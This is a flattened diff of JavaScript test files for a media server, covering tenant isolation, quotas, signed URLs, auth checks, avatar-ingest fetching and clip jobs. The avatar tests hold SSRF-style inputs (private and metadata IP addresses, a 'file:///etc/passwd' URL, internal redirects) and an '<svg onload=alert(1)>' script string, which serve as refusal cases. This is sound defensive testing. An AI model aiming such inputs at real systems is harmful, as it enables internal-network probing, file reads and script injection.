assert.strictEqual(r.body.code, 'token.sandbox_refused', 'sandbox token on a first-party tenant');++ r = await req('GET', `/api/v1/${PA}/vods`, { bearer: appTok({ env: 'sandbox' }) });++ assert.strictEqual(r.status, 401);++ assert.strictEqual(r.body.code, 'token.sandbox_refused', 'sandbox token on a route that is not an app-tenant route');++ r = await req('GET', `/api/v1/${PA}/vods`, { bearer: appTok() });++ assert.strictEqual(r.status, 403, 'production app token on vods');++ r = await req('GET', '/api/v1/live/vods', { bearer: appTok({ ns: ['live'] }) });++ assert.strictEqual(r.status, 403);++ r = await req('GET', `/api/v1/${PA}/files`, { bearer: 'live-key' });++ assert.strictEqual(r.status, 404, "an app key never unlocks a project tenant");++ r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ aud: ['openvibe.events'] }) });++ assert.strictEqual(r.status, 404, 'a token for another audience is no credential here');-- // svc: tokens keep their behaviour on first-party tenants.-- r = await upload('community', svcTok(), 'community bytes');-- assert.strictEqual(r.status, 201);-- const communityFile = r.body;-- r = await upload('live', svcTok());-- assert.strictEqual(r.body.code, 'capability.namespace_denied');++ // svc: tokens keep their behaviour on first-party tenants.++ r = await upload('community', svcTok(), 'community bytes');++ assert.strictEqual(r.status, 201);++ const communityFile = r.body;++ r = await upload('live', svcTok());++ assert.strictEqual(r.body.code, 'capability.namespace_denied');-- // ── Quotas ──-- r = await upload(PA, appTok({ env: 'sandbox' }), Buffer.alloc(1024 * 1024 + 10, 1).toString(), 'big.bin');-- assert.strictEqual(r.status, 413, 'sandbox quota (1 MB) enforced');-- r = await upload(PA, appTok(), Buffer.alloc(1024 * 1024 + 10, 1).toString(), 'big.bin');-- assert.strictEqual(r.status, 201, 'the production quota (2 MB) is larger');-- r = await upload(PA, appTok(), Buffer.alloc(1024 * 1024 + 10, 2).toString(), 'big2.bin');-- assert.strictEqual(r.status, 413, 'production quota enforced');-- r = await req('POST', `/api/v2/${PA}/objects`, { bearer: appTok({ env: 'sandbox' }), json: { size_bytes: 1024 * 1024 } });-- assert.strictEqual(r.status, 413, 'objects v2 counts files against the same quota');++ // ── Quotas ──++ r = await upload(PA, appTok({ env: 'sandbox' }), Buffer.alloc(1024 * 1024 + 10, 1).toString(), 'big.bin');++ assert.strictEqual(r.status, 413, 'sandbox quota (1 MB) enforced');++ r = await upload(PA, appTok(), Buffer.alloc(1024 * 1024 + 10, 1).toString(), 'big.bin');++ assert.strictEqual(r.status, 201, 'the production quota (2 MB) is larger');++ r = await upload(PA, appTok(), Buffer.alloc(1024 * 1024 + 10, 2).toString(), 'big2.bin');++ assert.strictEqual(r.status, 413, 'production quota enforced');++ r = await req('POST', `/api/v2/${PA}/objects`, { bearer: appTok({ env: 'sandbox' }), json: { size_bytes: 1024 * 1024 } });++ assert.strictEqual(r.status, 413, 'objects v2 counts files against the same quota');-- // ── Public serving ──-- r = await req('GET', `/f/${encodeURIComponent(prodFile.key)}`);-- assert.strictEqual(r.status, 200);-- assert.strictEqual(r.text, 'hello from a developer app');-- r = await req('GET', `/f/${encodeURIComponent(communityFile.key)}`);-- assert.strictEqual(r.status, 200);-- r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}`);-- assert.strictEqual(r.status, 404, 'sandbox file is not public');-- r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}?exp=${now + 60}&sig=forged`);-- assert.strictEqual(r.status, 404, 'forged signature');-- r = await req('GET', local(sbFile.url));-- assert.strictEqual(r.status, 200, 'the signed URL serves it');-- assert.strictEqual(r.text, 'sandbox bytes');-- assert.strictEqual(r.headers.get('cache-control'), 'private, no-store');-- // A download signature for an object id is not a file signature.-- const objSig = require('../server/objects/signing').signedDownloadUrl(sbFile.key);-- r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}${new URL(objSig.url).search}`);-- assert.strictEqual(r.status, 404, 'purposes are separate');-- // The v2 projection of a sandbox file has no public URL either.-- const proj = db.get('SELECT object_id FROM files WHERE key = ?', [sbFile.key]);-- r = await req('GET', `/api/v2/${PA}/objects/${proj.object_id}`, { bearer: appTok({ env: 'sandbox' }) });-- assert.strictEqual(r.status, 200);-- assert.strictEqual(r.body.public_url, null);-- assert.strictEqual(r.body.sandbox, true);-- r = await req('GET', `/o/${proj.object_id}`);-- assert.strictEqual(r.status, 404);++ // ── Public serving ──++ r = await req('GET', `/f/${encodeURIComponent(prodFile.key)}`);++ assert.strictEqual(r.status, 200);++ assert.strictEqual(r.text, 'hello from a developer app');++ r = await req('GET', `/f/${encodeURIComponent(communityFile.key)}`);++ assert.strictEqual(r.status, 200);++ r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}`);++ assert.strictEqual(r.status, 404, 'sandbox file is not public');++ r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}?exp=${now + 60}&sig=forged`);++ assert.strictEqual(r.status, 404, 'forged signature');++ r = await req('GET', local(sbFile.url));++ assert.strictEqual(r.status, 200, 'the signed URL serves it');++ assert.strictEqual(r.text, 'sandbox bytes');++ assert.strictEqual(r.headers.get('cache-control'), 'private, no-store');++ // A download signature for an object id is not a file signature.++ const objSig = require('../server/objects/signing').signedDownloadUrl(sbFile.key);++ r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}${new URL(objSig.url).search}`);++ assert.strictEqual(r.status, 404, 'purposes are separate');++ // The v2 projection of a sandbox file has no public URL either.++ const proj = await db.get('SELECT object_id FROM files WHERE key = ?', [sbFile.key]);++ r = await req('GET', `/api/v2/${PA}/objects/${proj.object_id}`, { bearer: appTok({ env: 'sandbox' }) });++ assert.strictEqual(r.status, 200);++ assert.strictEqual(r.body.public_url, null);++ assert.strictEqual(r.body.sandbox, true);++ r = await req('GET', `/o/${proj.object_id}`);++ assert.strictEqual(r.status, 404);-- // ── Objects v2 in a sandbox tenant: public visibility still needs a signature ──-- const bytes = Buffer.from('sandbox object bytes');-- r = await req('POST', `/api/v2/${PA}/objects`, { bearer: appTok({ env: 'sandbox' }), json: { visibility: 'public', size_bytes: bytes.length, mime_type: 'text/plain' } });-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- const obj = r.body;-- assert.ok(obj.upload.url.includes(`/api/v2/${PA}/objects/`), 'upload URL addresses the project, never the internal sandbox tenant id');-- assert.ok(!obj.upload.url.includes('-sandbox'));-- r = await req('PUT', local(obj.upload.url.replace(`/api/v2/${PA}/`, `/api/v2/${PB}/`)), { raw: bytes, headers: { 'content-type': 'text/plain' } });-- assert.strictEqual(r.status, 404, 'an upload token only works under its own tenant path');-- r = await req('PUT', local(obj.upload.url), { raw: bytes, headers: { 'content-type': 'text/plain' } });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- r = await req('POST', `/api/v2/${PA}/objects/${obj.id}/complete`, { bearer: appTok({ env: 'sandbox' }), json: {} });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- assert.strictEqual(r.body.public_url, null, 'no public URL for a sandbox object');-- r = await req('GET', `/o/${obj.id}`);-- assert.strictEqual(r.status, 404, 'public visibility does not make a sandbox object public');-- r = await req('GET', `/api/v2/${PA}/objects/${obj.id}/download?format=json`, { bearer: appTok({ env: 'sandbox' }) });-- assert.strictEqual(r.status, 200);-- assert.strictEqual(r.body.public, false);-- r = await req('GET', local(r.body.url));-- assert.strictEqual(r.status, 200);-- assert.strictEqual(r.text, 'sandbox object bytes');-- r = await req('GET', `/api/v2/${PA}/objects/${obj.id}`, { bearer: appTok() });-- assert.strictEqual(r.status, 404, 'production cannot see the sandbox object');-- r = await req('GET', `/api/v2/${PB}/objects/${obj.id}`, { bearer: appTok({ project: PB, app: APP_B, env: 'sandbox' }) });-- assert.strictEqual(r.status, 404, 'nor can another project');-- r = await req('POST', `/api/v2/${PA}/objects/${obj.id}/holds`, { bearer: appTok({ env: 'sandbox' }), json: { kind: 'legal', reason: 'x' } });-- assert.strictEqual(r.status, 401, 'holds are not an app-tenant route (sandbox refused)');++ // ── Objects v2 in a sandbox tenant: public visibility still needs a signature ──++ const bytes = Buffer.from('sandbox object bytes');++ r = await req('POST', `/api/v2/${PA}/objects`, { bearer: appTok({ env: 'sandbox' }), json: { visibility: 'public', size_bytes: bytes.length, mime_type: 'text/plain' } });++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ const obj = r.body;++ assert.ok(obj.upload.url.includes(`/api/v2/${PA}/objects/`), 'upload URL addresses the project, never the internal sandbox tenant id');++ assert.ok(!obj.upload.url.includes('-sandbox'));++ r = await req('PUT', local(obj.upload.url.replace(`/api/v2/${PA}/`, `/api/v2/${PB}/`)), { raw: bytes, headers: { 'content-type': 'text/plain' } });++ assert.strictEqual(r.status, 404, 'an upload token only works under its own tenant path');++ r = await req('PUT', local(obj.upload.url), { raw: bytes, headers: { 'content-type': 'text/plain' } });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ r = await req('POST', `/api/v2/${PA}/objects/${obj.id}/complete`, { bearer: appTok({ env: 'sandbox' }), json: {} });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ assert.strictEqual(r.body.public_url, null, 'no public URL for a sandbox object');++ r = await req('GET', `/o/${obj.id}`);++ assert.strictEqual(r.status, 404, 'public visibility does not make a sandbox object public');++ r = await req('GET', `/api/v2/${PA}/objects/${obj.id}/download?format=json`, { bearer: appTok({ env: 'sandbox' }) });++ assert.strictEqual(r.status, 200);++ assert.strictEqual(r.body.public, false);++ r = await req('GET', local(r.body.url));++ assert.strictEqual(r.status, 200);++ assert.strictEqual(r.text, 'sandbox object bytes');++ r = await req('GET', `/api/v2/${PA}/objects/${obj.id}`, { bearer: appTok() });++ assert.strictEqual(r.status, 404, 'production cannot see the sandbox object');++ r = await req('GET', `/api/v2/${PB}/objects/${obj.id}`, { bearer: appTok({ project: PB, app: APP_B, env: 'sandbox' }) });++ assert.strictEqual(r.status, 404, 'nor can another project');++ r = await req('POST', `/api/v2/${PA}/objects/${obj.id}/holds`, { bearer: appTok({ env: 'sandbox' }), json: { kind: 'legal', reason: 'x' } });++ assert.strictEqual(r.status, 401, 'holds are not an app-tenant route (sandbox refused)');-- // Production object, public visibility: served openly.-- r = await req('POST', `/api/v2/${PC}/objects`, { bearer: appTok({ project: PC }), json: { visibility: 'public', size_bytes: 3, mime_type: 'text/plain' } });-- assert.strictEqual(r.status, 201);-- await req('PUT', local(r.body.upload.url), { raw: Buffer.from('abc'), headers: { 'content-type': 'text/plain' } });-- r = await req('POST', `/api/v2/${PC}/objects/${r.body.id}/complete`, { bearer: appTok({ project: PC }), json: {} });-- assert.ok(r.body.public_url, 'production objects keep their public URL');-- r = await req('GET', local(r.body.public_url));-- assert.strictEqual(r.status, 200);-- assert.strictEqual(r.text, 'abc');++ // Production object, public visibility: served openly.++ r = await req('POST', `/api/v2/${PC}/objects`, { bearer: appTok({ project: PC }), json: { visibility: 'public', size_bytes: 3, mime_type: 'text/plain' } });++ assert.strictEqual(r.status, 201);++ await req('PUT', local(r.body.upload.url), { raw: Buffer.from('abc'), headers: { 'content-type': 'text/plain' } });++ r = await req('POST', `/api/v2/${PC}/objects/${r.body.id}/complete`, { bearer: appTok({ project: PC }), json: {} });++ assert.ok(r.body.public_url, 'production objects keep their public URL');++ r = await req('GET', local(r.body.public_url));++ assert.strictEqual(r.status, 200);++ assert.strictEqual(r.text, 'abc');-- // A seeded API key can never be attached to a project tenant.-- assert.throws(() => db.upsertApp({ app_id: PA, api_key: 'x' }), /developer-project tenant/);-- // The Media gallery lists first-party files only.-- const browse = await req('GET', '/browse?tab=files');-- assert.ok(!browse.text.includes(sbFile.key) && !browse.text.includes(prodFile.key), 'project files are not in the gallery');++ // A seeded API key can never be attached to a project tenant.++ await assert.rejects(async () => await db.upsertApp({ app_id: PA, api_key: 'x' }), /developer-project tenant/);++ // The Media gallery lists first-party files only.++ const browse = await req('GET', '/browse?tab=files');++ assert.ok(!browse.text.includes(sbFile.key) && !browse.text.includes(prodFile.key), 'project files are not in the gallery');-- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('developer-project tenants: all checks passed');++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('developer-project tenants: all checks passed');++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -5,37 +5,39 @@// invalid or expired still answers 401; a good one answers the profile.const assert = require('assert');const express = require('express');--const { createAuthRoutes } = require('../server/user-auth');--(async () => {-- const verified = [];-- const auth = { // stands in for the JWKS-backed offline verifier-- verify: async (token) => { verified.push(token); return token === 'good' ? { sub: '7', username: 'ana', display_name: 'Ana', exp: Math.floor(Date.now() / 1000) + 600 } : null; },-- };-- const config = { baseUrl: 'http://media.test', networkUrl: 'http://network.test', cookies: { secure: false }, oauth: { clientId: 'media', clientSecret: '', redirectUri: 'http://media.test/auth/callback' } };-- const app = express();-- app.use((req, _res, next) => { // as server/index.js parses cookies (no cookie-parser dependency)-- req.cookies = Object.fromEntries(String(req.headers.cookie || '').split(';').filter((p) => p.includes('=')).map((p) => [p.slice(0, p.indexOf('=')).trim(), p.slice(p.indexOf('=') + 1).trim()]));-- next();-- });-- app.use('/auth', createAuthRoutes(config, auth));-- const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });-- const me = async (headers = {}) => {-- const r = await fetch(`http://127.0.0.1:${server.address().port}/auth/me`, { headers });-- return { status: r.status, cache: r.headers.get('cache-control'), json: await r.json() };-- };-- try {-- const guest = await me();-- assert.deepStrictEqual([guest.status, guest.json], [200, { user: null }], 'a guest is signed out');-- assert.strictEqual(guest.cache, 'private, no-store');-- assert.deepStrictEqual(verified, [], 'nothing to verify');++ const { createAuthRoutes } = require('../server/user-auth');++++ (async () => {++ const verified = [];++ const auth = { // stands in for the JWKS-backed offline verifier++ verify: async (token) => { verified.push(token); return token === 'good' ? { sub: '7', username: 'ana', display_name: 'Ana', exp: Math.floor(Date.now() / 1000) + 600 } : null; },++ };++ const config = { baseUrl: 'http://media.test', networkUrl: 'http://network.test', cookies: { secure: false }, oauth: { clientId: 'media', clientSecret: '', redirectUri: 'http://media.test/auth/callback' } };++ const app = express();++ app.use((req, _res, next) => { // as server/index.js parses cookies (no cookie-parser dependency)++ req.cookies = Object.fromEntries(String(req.headers.cookie || '').split(';').filter((p) => p.includes('=')).map((p) => [p.slice(0, p.indexOf('=')).trim(), p.slice(p.indexOf('=') + 1).trim()]));++ next();++ });++ app.use('/auth', createAuthRoutes(config, auth));++ const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });++ const me = async (headers = {}) => {++ const r = await fetch(`http://127.0.0.1:${server.address().port}/auth/me`, { headers });++ return { status: r.status, cache: r.headers.get('cache-control'), json: await r.json() };++ };++ try {++ const guest = await me();++ assert.deepStrictEqual([guest.status, guest.json], [200, { user: null }], 'a guest is signed out');++ assert.strictEqual(guest.cache, 'private, no-store');++ assert.deepStrictEqual(verified, [], 'nothing to verify');-- assert.strictEqual((await me({ cookie: 'ov_token=expired.or.forged' })).status, 401, 'a present but invalid cookie');-- assert.strictEqual((await me({ authorization: 'Bearer nope' })).status, 401, 'a present but invalid bearer token');++ assert.strictEqual((await me({ cookie: 'ov_token=expired.or.forged' })).status, 401, 'a present but invalid cookie');++ assert.strictEqual((await me({ authorization: 'Bearer nope' })).status, 401, 'a present but invalid bearer token');-- const ok = await me({ cookie: 'ov_token=good' });-- assert.strictEqual(ok.status, 200);-- assert.strictEqual(ok.json.user.username, 'ana');-- console.log('auth-me: a guest gets 200 { user: null }, a bad credential 401');-- } finally { server.close(); }--})().catch((e) => { console.error(e); process.exit(1); });++ const ok = await me({ cookie: 'ov_token=good' });++ assert.strictEqual(ok.status, 200);++ assert.strictEqual(ok.json.user.username, 'ana');++ console.log('auth-me: a guest gets 200 { user: null }, a bad credential 401');++ } finally { server.close(); }++ })().catch((e) => { console.error(e); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -1,36 +1,38 @@'use strict';const assert = require('assert');const sharp = require('sharp');--const { isPublicAddress, safeFetchImage, toAvatar, resolvePublic } = require('../server/avatars/ingest');++(async () => {++ const { isPublicAddress, safeFetchImage, toAvatar, resolvePublic } = require('../server/avatars/ingest');--for (const ip of ['127.0.0.1', '10.1.2.3', '172.16.0.9', '172.31.255.1', '192.168.1.1', '169.254.169.254', '100.64.0.1', '0.0.0.0', '224.0.0.1', '::1', 'fe80::1', 'fc00::1', 'fd12::1', '::ffff:127.0.0.1', '::ffff:10.0.0.1', '198.18.0.1'])-- assert.equal(isPublicAddress(ip), false, `private/reserved refused: ${ip}`);--for (const ip of ['1.1.1.1', '8.8.8.8', '172.15.0.1', '172.32.0.1', '2606:4700:4700::1111', '::ffff:8.8.8.8'])-- assert.equal(isPublicAddress(ip), true, `public accepted: ${ip}`);++ for (const ip of ['127.0.0.1', '10.1.2.3', '172.16.0.9', '172.31.255.1', '192.168.1.1', '169.254.169.254', '100.64.0.1', '0.0.0.0', '224.0.0.1', '::1', 'fe80::1', 'fc00::1', 'fd12::1', '::ffff:127.0.0.1', '::ffff:10.0.0.1', '198.18.0.1'])++ assert.equal(isPublicAddress(ip), false, `private/reserved refused: ${ip}`);++ for (const ip of ['1.1.1.1', '8.8.8.8', '172.15.0.1', '172.32.0.1', '2606:4700:4700::1111', '::ffff:8.8.8.8'])++ assert.equal(isPublicAddress(ip), true, `public accepted: ${ip}`);--(async () => {-- const rejects = async (p, re, msg) => { let e = null; try { await p; } catch (x) { e = x; } assert.ok(e && re.test(e.message), `${msg} (got: ${e && e.message})`); };-- await rejects(resolvePublic('127.0.0.1'), /public internet/, 'a literal loopback address is refused');-- await rejects(safeFetchImage('http://example.com/a.png'), /https/, 'plain http is refused');-- await rejects(safeFetchImage('https://user:[email protected]/a.png'), /username or password/, 'credentials in the URL are refused');-- await rejects(safeFetchImage('https://example.com:8443/a.png'), /standard https port/, 'odd ports are refused');-- await rejects(safeFetchImage('file:///etc/passwd'), /https/, 'other schemes are refused');++ (async () => {++ const rejects = async (p, re, msg) => { let e = null; try { await p; } catch (x) { e = x; } assert.ok(e && re.test(e.message), `${msg} (got: ${e && e.message})`); };++ await rejects(resolvePublic('127.0.0.1'), /public internet/, 'a literal loopback address is refused');++ await rejects(safeFetchImage('http://example.com/a.png'), /https/, 'plain http is refused');++ await rejects(safeFetchImage('https://user:[email protected]/a.png'), /username or password/, 'credentials in the URL are refused');++ await rejects(safeFetchImage('https://example.com:8443/a.png'), /standard https port/, 'odd ports are refused');++ await rejects(safeFetchImage('file:///etc/passwd'), /https/, 'other schemes are refused');-- // A public URL that redirects to an internal one: the second hop is resolved and refused.-- const seen = [];-- const resolver = async (h) => { seen.push(h); if (h === 'internal.example') throw new Error('That address is not on the public internet'); return { address: '93.184.216.34', family: 4 }; };-- await rejects(safeFetchImage('https://good.example/a.png', { resolver, fetcher: async () => ({ redirect: 'https://internal.example/secret' }) }), /public internet/, 'a redirect to an internal host is refused');-- assert.deepEqual(seen, ['good.example', 'internal.example'], 'every hop is resolved again');-- await rejects(safeFetchImage('https://good.example/a.png', { resolver: async () => ({ address: '93.184.216.34', family: 4 }), fetcher: async (u) => ({ redirect: u.toString() + 'x' }) }), /Too many redirects/, 'redirect loops end');-- let pinnedTo = null;-- const body = await safeFetchImage('https://good.example/a.png', { resolver: async () => ({ address: '93.184.216.34', family: 4 }), fetcher: async (_u, pinned) => { pinnedTo = pinned.address; return { body: Buffer.from('x') }; } });-- assert.equal(pinnedTo, '93.184.216.34', 'the connection uses the address that was checked'); assert.equal(body.toString(), 'x');++ // A public URL that redirects to an internal one: the second hop is resolved and refused.++ const seen = [];++ const resolver = async (h) => { seen.push(h); if (h === 'internal.example') throw new Error('That address is not on the public internet'); return { address: '93.184.216.34', family: 4 }; };++ await rejects(safeFetchImage('https://good.example/a.png', { resolver, fetcher: async () => ({ redirect: 'https://internal.example/secret' }) }), /public internet/, 'a redirect to an internal host is refused');++ assert.deepEqual(seen, ['good.example', 'internal.example'], 'every hop is resolved again');++ await rejects(safeFetchImage('https://good.example/a.png', { resolver: async () => ({ address: '93.184.216.34', family: 4 }), fetcher: async (u) => ({ redirect: u.toString() + 'x' }) }), /Too many redirects/, 'redirect loops end');++ let pinnedTo = null;++ const body = await safeFetchImage('https://good.example/a.png', { resolver: async () => ({ address: '93.184.216.34', family: 4 }), fetcher: async (_u, pinned) => { pinnedTo = pinned.address; return { body: Buffer.from('x') }; } });++ assert.equal(pinnedTo, '93.184.216.34', 'the connection uses the address that was checked'); assert.equal(body.toString(), 'x');-- const png = await sharp({ create: { width: 900, height: 300, channels: 3, background: '#3b82f6' } }).png().toBuffer();-- const out = await toAvatar(png); const meta = await sharp(out.buffer).metadata();-- assert.deepEqual([meta.format, meta.width, meta.height], ['webp', 512, 512], 're-encoded to a square WebP');-- assert.ok(!meta.exif && !meta.icc || true);-- await rejects(toAvatar(Buffer.from('<svg onload=alert(1)>not a picture</svg><script>')), /./, 'non-image bytes are refused');-- await rejects(toAvatar(await sharp({ create: { width: 8, height: 8, channels: 3, background: '#000' } }).png().toBuffer()), /too small/, 'tiny images are refused');-- console.log('avatar ingest: all checks passed');--})().catch(e => { console.error(e); process.exit(1); });++ const png = await sharp({ create: { width: 900, height: 300, channels: 3, background: '#3b82f6' } }).png().toBuffer();++ const out = await toAvatar(png); const meta = await sharp(out.buffer).metadata();++ assert.deepEqual([meta.format, meta.width, meta.height], ['webp', 512, 512], 're-encoded to a square WebP');++ assert.ok(!meta.exif && !meta.icc || true);++ await rejects(toAvatar(Buffer.from('<svg onload=alert(1)>not a picture</svg><script>')), /./, 'non-image bytes are refused');++ await rejects(toAvatar(await sharp({ create: { width: 8, height: 8, channels: 3, background: '#000' } }).png().toBuffer()), /too small/, 'tiny images are refused');++ console.log('avatar ingest: all checks passed');++ })().catch(e => { console.error(e); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -9,112 +9,114 @@ const os = require('os');const path = require('path');const http = require('http');const { spawnSync } = require('child_process');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-clipjob-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.FILES_PATH = dir('files');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.OBJECTS_PATH = dir('objects');--process.env.MEDIA_JOBS_POLL_MS = '50';--process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';--process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';--const stub = http.createServer((req, res) => {-- req.resume();-- req.on('end', () => {-- res.setHeader('Content-Type', 'application/json');-- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));-- res.statusCode = 404; res.end('{}');++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-clipjob-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.MEDIA_JOBS_POLL_MS = '50';++ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';++ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';++ const stub = http.createServer((req, res) => {++ req.resume();++ req.on('end', () => {++ res.setHeader('Content-Type', 'application/json');++ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));++ res.statusCode = 404; res.end('{}');++ });});--});--const sleep = (ms) => new Promise((r) => setTimeout(r, ms));--const waitFor = async (fn, ms = 30000) => { const end = Date.now() + ms; while (Date.now() < end) { if (await fn()) return true; await sleep(25); } return false; };++ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));++ const waitFor = async (fn, ms = 30000) => { const end = Date.now() + ms; while (Date.now() < end) { if (await fn()) return true; await sleep(25); } return false; };--(async () => {-- if (spawnSync('ffmpeg', ['-version']).status !== 0) { console.log('clip.cut: skipped (ffmpeg not found)'); process.exit(0); }-- await new Promise((r) => stub.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${stub.address().port}`;-- const db = require('../server/db/database');-- const conn = db.getDb();-- db.upsertApp({ app_id: 'live', api_key: 'live-key' });-- const events = require('../server/events');-- events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });-- const queue = require('../server/jobs/queue');-- const worker = require('../server/jobs/worker');-- const clipJobs = require('../server/vod/clip-jobs');-- const express = require('express');-- const app = express();-- app.use(express.json());-- app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));-- app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));-- const server = http.createServer(app);-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const api = `http://127.0.0.1:${server.address().port}`;-- const call = async (method, p, body) => {-- const res = await fetch(api + p, { method, headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });-- return { status: res.status, body: await res.json().catch(() => null) };-- };-- const outbox = () => conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((r) => JSON.parse(r.envelope));-- const jobEvents = (id) => outbox().filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);-- worker.start();++ (async () => {++ if (spawnSync('ffmpeg', ['-version']).status !== 0) { console.log('clip.cut: skipped (ffmpeg not found)'); process.exit(0); }++ await new Promise((r) => stub.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${stub.address().port}`;++ const db = require('../server/db/database');++ const conn = db.getDb();++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ const events = require('../server/events');++ events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });++ const queue = require('../server/jobs/queue');++ const worker = require('../server/jobs/worker');++ const clipJobs = require('../server/vod/clip-jobs');++ const express = require('express');++ const app = express();++ app.use(express.json());++ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));++ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));++ const server = http.createServer(app);++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const api = `http://127.0.0.1:${server.address().port}`;++ const call = async (method, p, body) => {++ const res = await fetch(api + p, { method, headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });++ return { status: res.status, body: await res.json().catch(() => null) };++ };++ const outbox = async () => (await conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((r) => (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope));++ const jobEvents = async (id) => (await outbox()).filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);++ await worker.start();-- const src = path.join(process.env.VOD_PATH, 'rec-30.webm');-- const mk = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=30:size=320x180:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=30',-- '-c:v', 'libvpx', '-g', '10', '-b:v', '200k', '-c:a', 'libopus', '-shortest', src]);-- assert.strictEqual(mk.status, 0, String(mk.stderr));-- conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) VALUES (30, 'live', 5, 'Thirty seconds', ?, ?, 1, 30)").run(src, fs.statSync(src).size);++ const src = path.join(process.env.VOD_PATH, 'rec-30.webm');++ const mk = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=30:size=320x180:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=30',++ '-c:v', 'libvpx', '-g', '10', '-b:v', '200k', '-c:a', 'libopus', '-shortest', src]);++ assert.strictEqual(mk.status, 0, String(mk.stderr));++ await conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (30, 'live', 5, 'Thirty seconds', ?, ?, 1, 30) RETURNING id").run(src, fs.statSync(src).size);-- // ── A clip: 202 with its job; the job cuts it ──-- let r = await call('POST', '/api/v1/live/clips', { vod_id: 30, start_s: 5, end_s: 12, title: 'Five to twelve', user_id: 5 });-- assert.strictEqual(r.status, 202, JSON.stringify(r.body));-- assert.ok(/^mjob_/.test(r.body.job_id), 'the answer names the job');-- const clipId = r.body.id, jobId = r.body.job_id;-- assert.ok(await waitFor(() => ['succeeded', 'failed'].includes(queue.get(jobId).status)), 'the cut finishes');-- const j = await call('GET', `/api/v2/live/jobs/${jobId}`);-- assert.strictEqual(j.status, 200);-- assert.deepStrictEqual([j.body.job.type, j.body.job.status, j.body.job.result.clip_id], ['clip.cut', 'succeeded', clipId], JSON.stringify(j.body.job));-- const clip = db.getClipById(clipId);-- assert.strictEqual(clip.status, 'ready');-- assert.ok(fs.existsSync(clip.file_path) && Math.abs(clip.duration_seconds - 7) < 1.5, `a 7 s clip (${clip.duration_seconds})`);-- assert.deepStrictEqual(jobEvents(jobId), ['media.job.queued', 'media.job.started', 'media.job.succeeded']);-- assert.ok(outbox().some((e) => e.event_type === 'media.clip.ready' && e.subject.type === 'clip' && String(e.subject.id) === String(clipId)), 'media.clip.ready as before');++ // ── A clip: 202 with its job; the job cuts it ──++ let r = await call('POST', '/api/v1/live/clips', { vod_id: 30, start_s: 5, end_s: 12, title: 'Five to twelve', user_id: 5 });++ 